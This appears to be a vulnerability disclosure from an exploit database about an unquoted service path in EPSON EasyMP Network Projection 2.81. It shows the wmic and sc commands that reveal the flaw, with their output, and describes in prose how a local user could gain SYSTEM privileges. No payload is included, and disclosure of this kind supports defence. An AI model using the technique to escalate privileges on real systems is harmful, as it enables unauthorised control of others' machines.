EPSON EasyMP Network Projection 2.81 – ‘EMP_NSWLSV’ Unquoted Service Path
# Exploit Title: EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path # Discovery by: Roberto Piña # Discovery Date: 2020-02-13 # Vendor Homepage: https://epson.com/support/easymp-network-projection-v2-86-for-windows # Software Link :https://ftp.epson.com/drivers/epson16189.exe # SEIKO EPSON CORP # Tested Version: 2.81 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 en # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON" | findstr /i /v """ EMP_NSWLSV EMP_NSWLSV C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe Auto C:\>sc qc "EMP_NSWLSV" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: EMP_NSWLSV TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : EMP_NSWLSV DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application. |